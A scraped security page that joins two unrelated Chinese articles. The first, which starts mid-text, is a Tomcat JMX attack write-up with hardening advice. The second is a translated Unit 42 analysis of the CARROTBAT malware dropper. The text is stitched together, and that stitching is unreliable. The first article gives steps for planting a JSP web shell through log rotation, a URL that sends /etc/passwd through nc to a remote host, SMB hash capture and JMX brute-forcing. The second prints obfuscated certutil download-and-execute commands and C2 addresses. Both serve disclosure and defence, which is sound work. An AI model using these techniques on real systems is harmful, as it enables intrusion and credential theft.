希望在这里提供了足够的信息，以利于提出阻止这种利用的有效的缓解措施并且帮助渗透测试团队评估使用这种配置的Tomcat服务器的状态。
本文讨论的这个问题已经提交给Tomcat团队，被分类为程序的已知功能，并且目前没有任何补丁提供。
总而言之，Tomcat指出：
Java JMX访问相当于admin/root访问，其处理方式与对具有admin / root权限的机器的物理访问相同。
其他敏感的信息，比如session IDs，可通过JMX访问，并且隐藏这些信息将严重降低JMX接口的实用性。
Tomcat文档通常不涵盖JMX的主题，但是在其他地方会涵盖它。
任何读者在阅读本文后都应该遵循第九节中的建议。
**0x01 Tomcat的JMX服务**
Apache Tomcat的JMX服务通常被用来通过网络监控和管理远程Tomcat
实例，通过Java远程方法调用（RMI）来与服务器交互。
这个服务默认不开启，与之相反的是其他常见的Java企业版的服务器（比如JBoss）是默认配置开启的。
为了开启Tomcat的JMX服务，需要在setenv.sh/setenv.bat做一些简单的修改，这个脚本是用来设置环境变量和Catalina进程启动时的一些属性。
JMX服务可以配置为支持认证，但是它默认不开启。当认证被开启（总是被推荐），它的授权模型允许访问属于只读或读写角色的两个不同的用户。
网络上关于JMX接口的配置信息很少且过时了。
例如，在下面的URL对应的网页的标题为“监视和管理Tomcat”，但是它的配置指导是基于java 6版本的：
<http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote>
这个指南的第一段开始有一段注释：
“注释：这个配置只在你需要远程监控Tomcat时才开启，如果只是本地监视则不需要开启，且需要使用启动Tomcat相同的用户。”
这个快速指南包括认证未开启的简单配置。然后它建议需要认证时，修改配置来启用上述的两个角色且分配密码。
指南中有意思的一个片段如下：
如果你需要认证，添加并修改这个：
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access
编辑$CATALINA_BASE/conf/jmxremote.access文件：
monitorRole readonly
controlRole readwrite
编辑$CATALINA_BASE/conf/jmxremote.password文件：
monitorRole tomcat
controlRole tomcat
提示：密码文件应该是只读的，只能用和运行Tomcat相同的操作系统用户来访问。
如上所见，jmxremote.access文件包含两个用户名（monitorRole和controlRole）和他们相关的角色。在jmxremote.password文件中设置这些用户的密码。
对此服务始终建议启用认证，但快速指南不强调此功能。
这个指南不强调为只读和读写用户设置强密码的重要性。这就是为什么在现场渗透测试期间，这个接口经常被发现没有配置认证或者使用了与指南建议类似的弱密码。
**0x02 决定是否启用Tomcat的JMX接口**
通常需要使用nmap进行扫描，来确认与Tomcat关联的JMX接口是否已启动并在远程服务器上运行。
在这种情况下强烈建议使用–version-all和-A标志，因为它会告诉nmap触发附加探测器来检测非标准端口上JMX接口的存在。
例如，假设使用以下命令行扫描Tomcat服务器：
>nmap -p- -sV -A 192.168.11.128 -n
Nmap scan report for 192.168.11.128
Host is up (0.00028s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
...
2001/tcp open dc?
...
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.39
...
49222/tcp open unknown
为了简单起见，上面的扫描结果仅包括与Tomcat相关的端口。可以看到，端口2001/tcp和端口49222/tcp未明确标识。
然而，添加–version-all标志将显示更多有趣的信息：
>nmap -p- -A -sV --version-all 192.168.11.128
Nmap scan report for 192.168.11.128
Host is up (0.00032s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
...
2001/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @192.168.11.128:2001
| extends
|_ java.rmi.server.RemoteObject
...
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.39
...
49222/tcp open rmiregistry Java RMI
在这种情况下，JMX服务被配置为在非标准端口2001/tcp而不是端口1099/tcp上运行，1099/tcp通常被这种服务的优先选择。
此外，应当注意的是当JMX接口运行时，运行Java RMI的随机端口也可用于Tomcat。从客户端/攻击者角度来看，能够连接此端口也很重要。
也就是说，单独使用nmap无法确定Tomcat JMX接口是否启用认证。
**0x03 使用JConsole连接JMX服务**
如果你使用Windows，JConsole是JDK中的一个小的可执行文件，存储在bin文件夹中。启动后主界面如下图：
图1 – Jconsole主界面
JConsole也在Linux版的JDK中提供，且在Kali中找到如下图：
图2 – Kali中的JConsole
如果逆向远程连接到Tomcat JMX接口，选择Remote Process选项且输入目标的IP地址加端口号。点击Connect按钮：
图3 – 设置目标
JConsole能够检测到SSL是否开启，并且显示如下提示：
图4 – 目标中的SSL没有开启
单击Insecure connection按钮继续。当启用认证，通常会显示以下提示：
图5 – 认证启动的提示
在这种情况下，您应该使用username和password文本框输入一些有效的凭据。请注意，也可能由于其他原因获得连接失败错误。
连接失败的常见原因之一是由于攻击者和服务器之间的防火墙。此防火墙可能配置为阻止传入流量到由Tomcat启动的其他Java
RMI进程使用的端口（例如，上面nmap扫描输出中列出的49222/tcp）。
使用您喜欢的网络嗅探器进行流量捕获，以了解“连接失败”错误是否与认证相关。
在下面的示例中，Tomcat JMX服务器（运行于192.168.11.128）正在返回包含认证失败错误的RMI消息：
图6 – 认证失败-暗示需要认证凭据
请注意，上面的错误包括需要凭据的字符串，表示在JConsole初始屏幕中未指定任何凭据。
在输入一些凭据时返回不同的错误消息：
图7 – 不可靠的用户名和密码
如果未启用认证（这在某些内部网络渗透测试中可能是正确的），显示如下：
图8 – Jconsole连接到远程的Tomcat JMX接口
事情开始变的有趣。
从这一点开始，我们将考虑攻击者能够识别一个监听的Tomcat
JMX接口并可以使用JConsole连接到它的情况。这是可能的，因为认证未启用，或者因为攻击者能够猜到一些有效的凭据。
**0x04 使用JMX读取Tomcat管理器的密码**
假设Tomcat启用了管理器应用程序，但是没有使用任何弱凭据（如admin/admin或tomcat/manager）。假设攻击者试图使用自动脚本来强制一个有效的密码而不成功。
在这里，可能得出没有方法发现管理器密码的结论。
事实上，有一个简单的方法，在忽略密码强度的情况下恢复密码，在写文章的这一刻，这个技术还没有参考。
这个方法是在你的机器上面启动JConsole并且指向远程的Tomcat JMX服务器。选择MBeans选项卡：
图9 – 选择MBeans
之后显示如下：
图10 – Mbeans
展开Users目录，且选择下面的节点：
Users->User->”manager”->UserDatabase->Attributes
你应该能够看见类似下面的一些东西，这些暗示了凭据：
图11 – 泄漏的Tomcat管理器的用户名和密码
在这里，你能使用发现的凭据来连接到远程Tomcat管理器，以控制服务器。
**0x05 日志循环函数中的目录遍历**
如果你已经看到了这里，你已经有了一个好且简单的方法来访问Tomcat管理器，来破环底层服务器。
执行此操作的典型方法是部署简单的Web应用程序存档（WAR），包括允许执行操作系统（OS）命令的代码，然后调查服务器上的内容。
如果服务器在Windows上运行，则大多数时间它将作为SYSTEM或管理员运行。因此，你的操作系统命令将在最高权限级别运行。
但是，如果由于某些原因Tomcat管理器不在那里怎么办？
虽然在内部网络中部署的服务器则不可能是这种情况，但是仍然有可能，因此我们需要另一种方法来浏览服务器，假设我们仍然能够连接Tomcat JMX接口。
**日志循环函数**
在大量的具有写权限的Tomcat JMX
MBeans操作中，有一个显示了有趣的行为。当JMX服务没有配置支持认证时，这个特别的功能也能访问。下面是它的Java特征：
boolean rotate(string newFileName)
上面的特征在下面的节点提供：
Catalina->Valve->localhost->AccessLogValve->Operations
这表明rotate函数用于备份Tomcat访问日志到服务器上的文件中。
为了证明这个，下载了运行Tomcat8.0.39的Bitnami Linux
VM。然后配置服务器来公开JMX端口，以便允许使用JConsole进行连接。最后totate函数用此位置指定文件：
/tmp/test.log
完成这个过程后，下面的确认消息由服务器返回：
图12 – ‘True’确认消息被执行
可以确认test.log文件在tmp目录中。直到rotate函数被调用，目录的内容是Tomcat访问日志。
bitnami@ubuntu:/tmp$ cat /tmp/test.log
192.168.11.1 - - [08/Dec/2016:14:50:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026
bitnami@ubuntu:/tmp$
**在服务器上面执行OS命令**
正如上一节讨论的，rotate函数允许在服务器的任意目录中存储文件。它还将允许选择该文件的任意扩展。
这意味着，作为一个攻击者，我们滥用它来在Tomcat提供网络服务的目录中创建一个Java Servlet
Page（JSP）文件。在这里我们的目标创建包含JSP指令的文件来在服务器上面执行命令。
为了实现这个，我们首先需要的是使用在URL中包含有效的JSP代码的请求来破环Tomcat访问日志。
例如，使用Burp Suite Repeater来发送下面的请求。注意在这个例子中，我们测试的Tomcat运行在80/tcp端口：
图13 – 发送的请求
现在我们需要的是找到一个可靠的路径来存放我们的使用rotate函数的JSP文件。关于这个我们能利用JConsole界面中的一些信息。
VM的Summary选项卡能提供一些关于catalina.base属性的信息。这个选项卡包含一个节（在窗口底部），显示了Java VM的参数。
例子显示如下：
图14 – catalina.base文件夹
Catalina.base目录应该返回一个webapps文件夹，其中是Tomcat提供的各种网络服务。
部署在服务器上的网络应用可以在MBeans选项卡中看到。
下面的截图是Tomcat服务器默认的应用的例子：
图15 – Tomcat上默认的应用
将cataline.base目录的信息和Tomcat上的应用列表放在一起，找到存储我们JSP文件的目录还是可能的。
例如，一个test.jsp文件存储在/docs文件夹中：
/opt/bitnami/apache-tomcat/webapps/docs/test.jsp
在这里，上面的路径可以和rotate函数一起使用：
图16 – test.jsp文件被创建
我们能打开浏览器并运行一个命令。在下面的截图中一个命令被执行，用来把/etc/passwd的内容粘帖到nc客户端中，继而连接一个远程监听器：
图17 – 远程服务器上面的数据
作为参考，执行命令的URL显示如下：
http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%20192.168.11.136%208080
这包括一些调整，允许使用管道将输出从一个命令重定向到另一个命令。
如果需要，目前为止的web shell也可以用来执行wget命令，并从远程机器上面下载一个更多功能的JSP shell。
**捕获SMB challenge-responses hashes**
正如已经讨论的，如果你的Tomcat服务器在Windows上面运行，意味着通过JSP shell执行的命令和通过rotate函数创建的命令将以最高权限运行。
然而，有时可能出现不正确的情况，且服务器运行在域账户。如果那种情况，捕获SMB challenge-responses和破解他们是可能的。Rotate函数也在这里使用。
为了测试攻击场景，Kali虚拟机可以用来启动Metasploit SMB capture auxiliary module。
使用JConsole执行JMX连接，并且使用下面的参数使用rotate函数：
\192.168.11.136test
在这种情况，上面的IP地址是Kali虚拟机。下面的截图确认了Tomcat向远程IP发送了一个请求，能够3次捕获SMB challenge：
图18 – 捕获的SMB challenge response
**通过创建其他文件类型来进行client-side攻击**
注意，rotate函数也能用来创建敏感文件（如HTML文件），并且在网络应用中存储他们，以便执行跨站脚本攻击。
这个涉及到，重复上述步骤，使用可靠的HTML代码污染日志文件，然后在Tomcat网络应用程序目录中存储一个HTML文件。
图19 – html文件
**0x06 抓取网络应用的用户的session ID**
另外的Tomcat JMX操作能被攻击者利用来劫持Tomcat网络应用的用户的会话，lisrSessionIds()在下面的节点显示：
Catalina->Manager->[ApplicationName]->Operations->listSessionIds()
这个操作通常可用于Tomcat上部署的每个网络应用中，且如名称所示，能返回连接应用的用户的所有的JSESSIONID。
例如，下面的截图显示了连接管理器应用的用户的session ID：
通过Tomcat JMX服务可用的操作之一将允许检索JSESSIONID cookie值，因此可能允许攻击者通过劫持他们的会话来假冒另一个用户。
注意，由于需要该帐户的有效用户名和密码，因此无法利用此问题访问管理器应用程序。然而，部署在服务器上的其他应用程序（例如支持基于JSESSIONID
cookie的认证的应用程序）会受到影响。
能够运行listSessionIds()数的攻击者将能够劫持另一个用户的会话。
注意，listSessionIds()是另一个操作，它只对具有写入权限的JMX用户可用。
如果JMX服务器配置为允许未经认证的访问，那么它仍然可以使用。
**0x07 暴力破解进入Tomcat JMX**
当Tomcat JMX服务配置为启用认证并且使用强密码时，仍有可能获得未经授权的访问。
实际上，为此服务实现的认证过程在登录失败后不会锁定帐户，因此容易受到暴力密码破解攻击。
PoC工具（jmxbf）已经由作者开发来演示这个。
使用例子如下：
$>Usage:
java -jar jmxbf.jar
-h,--host <arg> The JMX server IP address.
-p,--port <arg> The JMX server listening port.
-pf,--passwords-file <arg> File including the passwords, one per line.
-uf,--usernames-file <arg> File including the usernames, one per line.
Example:
$>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
一些例子输出如下：
$>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
Auth failed!!!
Auth failed!!!
Auth failed!!!
. . .
Auth failed!!!
Auth failed!!!
###SUCCESS### - We got a valid connection for: control:supersecretpwd
Found some valid credentials - continuing brute force
....
###SUCCESS### - We got a valid connection for: monitor:monitor
Found some valid credentials - continuing brute force
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
. . .
Auth failed!!!
Auth failed!!!
Auth failed!!!
The following valid credentials were found:
control:supersecretpwd
monitor:monitor
这个工具通过github可以下载到：<https://github.com/nccgroup/jmxbf> 。
**0x08 其他问题？**
正如已经提到的，MBeans操作的大列表和属性能提供给连接Tomcat
JMX服务的用户使用。可能还有其他函数，可以使用与上面讨论的rotate函数问题所示的类似的方式。
深入研究才能确定。
如果由于强大的认证措施让你无法访问Tomcat JMX控制台，则仍然有潜在的方法来破坏服务器。
Tomcat最近修补了两个与Java反序列化相关的漏洞，如果暴露了JMX服务器，可以利用这些漏洞：
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735>
本文不讨论这些漏洞的细节，但是却可以说如果你的Tomcat运行在老版本的Java系统中，是可能通过发送特定的包到JMX服务器来实现RCE。
进一步研究后再发布新文。
**0x09 建议**
有很多可以实现的建议，来保护有本文讨论的问题的Tomcat服务器。
首先，建议对JMX服务的访问使用防火墙。只有列入白名单的IP地址才能连接。
然而，应该始终启用强密码的认证。下面是在Windows使用setenv.bat启动认证的例子：
SET JAVA_HOME={replace with full path to Java JDK}
SET JRE_HOME=%JAVA_HOME%
SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server
SET CATALINA_OPTS=-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
SET CATALINA_OPTS=%CATALINA_OPTS%
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access
下面是Linux下面使用setenv.sh的例子：
JAVA_HOME={replace with full path to Java JDK}
JRE_HOME=$JAVA_HOME
JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS "
JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS "
CATALINA_OPTS="-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access"
export JAVA_HOME
export JRE_HOME
export JAVA_OPTS
export CATALINA_OPTS
SSL也应该开启，以保护认证过程中凭据嗅探攻击。
注意，在上述所有的配置中，jmxremote.ssl变量设为true。
然而，没有包括正确启用SSL其他的一些变量。需要的其他配置步骤在这里不再详述。
下面的URL包含了这个任务的参考信息：
<https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html>
<https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html>
强烈推荐为只读和读写用户在jmxremote.password文件中设置高强度密码保护。这些应该与Tomcat管理器不同。
并且，考虑为所有用户选择不常用的用户名。
另外，只有Tomcat用户才被允许读取jmxremote.password文件。如果检测到这个文件的读权限太宽松，Tomcat将不会启动。
下面的命令能被用来在Windows上面设置这些权限：
cacls jmxremote.password /P [username]:R
尽管JMX访问等同于admin/root访问，如果一个人能够以只读用户身份访问JMX服务，那么仍然可能看到Tomcat管理器用户名和密码。
的确，只读用户将不被允许运行任何JMX操作，但他们仍然能够访问一个敏感的信息，在大多数情况下，将导致Tomcat服务器的破环。
关于rotate函数的问题，作者认为应该严格的控制，以避免Tomcat JMX服务器在服务器上可用的任何文件夹上创建具有任何扩展名的日志文件。
通过这个函数创建的日志文件只能在Tomcat日志文件夹中创建，并且无法使用URL访问。
最后，考虑在系统上存储一个哈希版本的Tomcat管理器密码（因为这个哈希将在JMX属性中可见）而不是纯文本版本。
注意，这是我们从Tomcat收到的一个建议，同时讨论了JMX只读用户能够读取管理器的密码的问题。然而，这种情况下如果用户名还是明文，攻击者可以使用离线密码破解工具破解密码。
下面的URL包含了存储哈希版本密码的一些参考：
<https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords>
<http://www.jdev.it/encrypting-passwords-in-tomcat/>
<https://leanjavaengineering.wordpress.com/2011/02/04/tomcat-digested-passwords/>
下面是digest工具的使用例子：
digest.bat -s 0 -i 1 themanagersecretpassword
将输出明文和加密的凭据：
themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095
注意，在上面的例子中，-s和-i参数分别用于设置salt的长度和迭代次数。
Digest工具还接受-a参数，来指定哈希算法。
根据Tomcat的推荐，当不使用-a参数，则默认使用SHA-512。
另外，应该注意不带-s和-i参数使用digest，将返回{salt}${iterations}${digest}格式的输出，例子如下：
>digest.bat themanagersecretpassword
themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b13da649b1d703ffc0260b2194ddec21616528bf4f6a99fb6b8fa724c6c518c2c45125b135b82c2ec16b060cb2f
上述的例子，关于salt的长度（字节）和迭代次数，使用默认值，
虽然作者写作是不知道，但是下面的工具在2014年由Jeremy
Mousset创建，覆盖了本文讨论的一部分内容，且不涉及JConsole：https://github.com/jmxploit/jmxploit | 社区文章 |
# CARROTBAT家族针对东南亚地区发起攻击
|
##### 译文声明
本文是翻译文章，文章原作者 paloaltonetworks，文章来源：researchcenter.paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/11/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/>
译文仅供参考，具体内容表达以及含义原文为准。
Unit
42近期发现了一项针对与韩国和朝鲜地区进行的钓鱼活动，钓鱼内容围绕一系列主题展开，主要包括：加密货币，加密货币交易和政治事件。根据被投递的恶意载荷中所包含的有关信息，Unit
42将这个恶意软件家族命名为了CARROTBAT。
CARROTBAT家族的样本最早在2017年12月的一次攻击中被发现的，此次攻击是针对英国政府机构展开的，主要利用了SYSCON家族恶意软件，尽管没有明确证据表明CARROTBAT在攻击中被使用，但是研究人员还是通过攻击设备的行为重叠来确认出了CARROTBAT家族，并发现了它与SYSCON家族系列软件的联系。而此次攻击事件的主角SYSCON是一款简单的远程访问木马（RAT），它使用文件传输协议（FTP）进行网络通信，具体报道见于[https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/。](https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/%E3%80%82)
迄今为止，一共识别出了29种不同的CARROTBAT样本，其中包含12种已确认的不同诱饵文件。这些样本于今年3月开始出现，在过去的3个月内进行了大量的活动。与先前投递的SYSCON家族恶意软件不同，新的攻击活动投递了OceanSalt（[https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf）家族恶意软件。我们将CARROTBAT及其投递的相关载荷合并称之为Fractured](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf%EF%BC%89%E5%AE%B6%E6%97%8F%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E3%80%82%E6%88%91%E4%BB%AC%E5%B0%86CARROTBAT%E5%8F%8A%E5%85%B6%E6%8A%95%E9%80%92%E7%9A%84%E7%9B%B8%E5%85%B3%E8%BD%BD%E8%8D%B7%E5%90%88%E5%B9%B6%E7%A7%B0%E4%B9%8B%E4%B8%BAFractured)
Block。
## 攻击过程
2017年12月13日，yuri.sidorav[@yandex](https://github.com/yandex
"@yandex")[.]ru向英国政府机构内的高级人员发送了一封鱼叉钓鱼邮件。此电子邮件的主题是“我们会在没有先决条件的情况下与朝鲜对话”，此邮件的附件文件也使用了同样的命名方式。
在附件Word中显示了如下内容：
> 美国将“无条件地”与朝鲜对话
文章主要讨论了美国与朝鲜之间的外交关系，并且引用了NKNews[.]org当天发布的文章（文章链接为：<https://www.nknews.org/2017/12/u-s-would-talk-with-north-korea-without-precondition-tillerson/> ）。被引用的文章内容为：
附件文档利用DDE漏洞（漏洞介绍：[https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/）执行了以下代码：](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/%EF%BC%89%E6%89%A7%E8%A1%8C%E4%BA%86%E4%BB%A5%E4%B8%8B%E4%BB%A3%E7%A0%81%EF%BC%9A)
https://researchcenter.paloaltonetworks.com/2018/11/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/
DDE漏洞首次在2017年5月被利用于恶意攻击。攻击样本中包含下载名为0_31.doc的远程可执行文件的命令，文件被下载后以AAA.exe的文件名形式命名，并放在在受害者的％TEMP％目录中。
被划定到SYSCON家族的恶意载荷通过FTP服务器与ftp.bytehost31[.]org via这个恶意服务器进行连接，以接收远程控制命令。
通过对恶意样本中的域名881.000webhostapp[.]com进行关联，又关联出了一批样本，其中包括KONNI恶意软件系列样本和4个CARROTBAT恶意软件系列样本（64位可执行文件）。根据特征进行筛选，最终筛选出了29个不同样本。
## Fractured Block攻击
迄今为止，所有的CARROTBAT样本都是包含在Fractured
Block攻击里的。CARROTBAT用于投递载荷来帮助攻击者投递并打开一个嵌入式诱饵文件，然后执行一个命令，该命令将在目标机器上下载并运行一个有效负载。此恶意软件支持以下11种诱饵文档文件格式：
.doc
.docx
.eml
.hwp
.jpg
.pdf
.png
.ppt
.pptx
.xls
.xlsx
在打开嵌入式诱饵文档后，会在系统上执行以下混淆命令：
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将尝试通过Microsoft Windows内置的certutil实用程序下载并执行远程文件。
通过对根据行为判别所找到的29个样本的编译时间戳进行研究，发现它们均在2018年3月到2018年9月之间，其中的11个被用于了实际的攻击过程。样本的编译时间戳如下图所示：
针对韩国受害者的大多数诱饵文件都有与加密货币的主题相关。在其中的一个案例中，诱饵文件包含了在COINVIL工作的个人名片，该组织宣布计划于2018年5月在菲律宾建立加密货币交易所。其他诱饵主题包括时事政治事件，如美国和朝鲜之间的关系，以及美国总统唐纳德特朗普访问新加坡峰会。CARROTBAT所投递的恶意载荷各不相同，在2018年3月到2018年7月期间，可以观察到所投递的多个SYSCON恶意样本，这些样本通过FTP与以下主机进行C2通信：
ftp.byethost7[.]com
ftp.byethost10[.]com
files.000webhost[.]com
从2018年6月开始，我们观察到CARROTBAT开始投递OceanSalt恶意软件。在撰写本文时，这些样本仍处于活动状态，并与61.14.210[.]72:7117进行C2通信。
## 与其他威胁活动的关联
CARROTBAT和KONNI恶意软件之间存在一些服务器重叠。KONNI是一种远程访问木马，已经活跃了四年之久，具有广泛的功能，通常利用000webhost等免费网络托管服务提供商的服务器作为其C2地址。在撰写本文时，这个特定的恶意软件系列尚未被归类为一个家族，但是该软件的攻击目标一直集中在东南亚地区。
上文反复提到的另一种关联是SYSCON恶意软件。这个恶意软件首次在2017年10月被报道，并且已经观察到了攻击中提供了与朝鲜有关的诱饵文件。此款恶意软件通常比较简单，利用远程FTP服务器进行C2通信。在下面的恶意活动关联图中，黄色的表示KONNI，紫色的表示SYSCON。
该家族与OceanSalt恶意软件有效载荷也可能有一定关联。McAfee在2018年10月首次进行了攻击报道，受害者包括韩国、美国和加拿大。与McAfee报告中列出的样本信息一样，在Fractured
Block 攻击中观察到的OceanSalt样本使用与Comment
Crew（又名APT1）相同的代码，但是研究人员认为这些相似的代码是错误的标志。Comment
Crew使用的恶意软件已经活跃了多年，因此研究人员表示此次活动与Crew活动的关联性存疑。相关威胁活动的时间重叠表：
## 结论
CARROTBAT是识别Fractured
Block攻击活动的关键。通过寻找CARROTBAT，我们能够找到相关的OceanSalt，SYSCON和KONNI活动。由于这些活动具备一些特征重叠，因此我们怀疑这种威胁活动可能是由同一个攻击组织发起的。但是，目前没有确凿证据。CARROTBAT恶意软件是一种较为独特的载荷投递器，虽然它支持各种类型的诱饵文件，并采用基本的命令混淆，但它并不复杂。
## CARROTBAT技术分析
样本信息为：
MD5：3e4015366126dcdbdcc8b5c508a6d25c
SHA1：f459f9cfbd10b136cafb19cbc233a4c8342ad984
SHA256：aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
文件类型：PE32可执行文件（GUI）Intel 80386，适用于MS Windows
编译时间戳 2018-09-05 00:17:22 UTC
执行时，恶意软件将读取自身的最后8个字节。这些字节包括两个DWORD，它们既包含嵌入的诱饵文档的长度，也包含它的文件类型。
根据这些收集到的信息，CARROTBAT减去先前检索的8个字节后继续读取自身的结尾。数据包含整个嵌入式诱饵文档，并写入与原始恶意软件相同的目录和文件名。但是会根据先前检索的文件类型值更改文件扩展名，对应值为：
在此样本中使用了.hwp文件扩展名的文档作为诱饵文档。在诱饵文件被放入到磁盘后，它将在一个新进程中被打开。随后会给受害者显示这个.hwp诱饵文档：BKN
Bank加密货币交易的白皮书。
在显示此文档后，恶意软件将继续在新进程中执行以下命令：
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将使用内置的Microsoft Windows certutil命令下载远程文件。在这个样本中，将检索以下脚本：
该脚本会检查受害者的操作系统，并使用certutil可执行文件再次下载相应的有效负载。
在本样本中，有效载荷通过base64进行编码，通过certutil进行解码。恶意载荷是一个CAB文件，在解压缩后，恶意软件会执行提取的install.bat脚本，最后删除原始文件并退出。
下载的CAB文件信息为：
MD5：a943e196b83c4acd9c5ce13e4c43b4f4
SHA1：e66e416f300c7efb90c383a7630c9cfe901ff9fd
SHA256：cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62
文件类型：Microsoft Cabinet归档数据，共181248字节，3个文件
上文提到的所删除的文件共有三个，分别是：
1. INSTALL.BAT（用于安装批处理脚本，负责将其他文件复制到C： Users Public Downloads并设置Run注册表项以确保持久性。它还负责在退出之前删除任何原始文件。）
2. DrvUpdate.dll（OceanSalt恶意软件）
3. winnet.ini（C2信息）
C2信息在外部winnet.ini文件中存储，并使用增量的XOR密钥进行编码。用Python编写的以下函数可解码此文件：
解码后，研究人员发现此OceanSalt病毒尝试通过端口7117与61.14.210 [.] 72进行通信。
## IOC
### CARROTBAT样本
d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d
8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa
26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847
e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828
824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3
70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22
87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc
ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f
d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0
7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae
1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0
337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b
92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef
42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded
ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb
dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea
7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97
3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96
aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
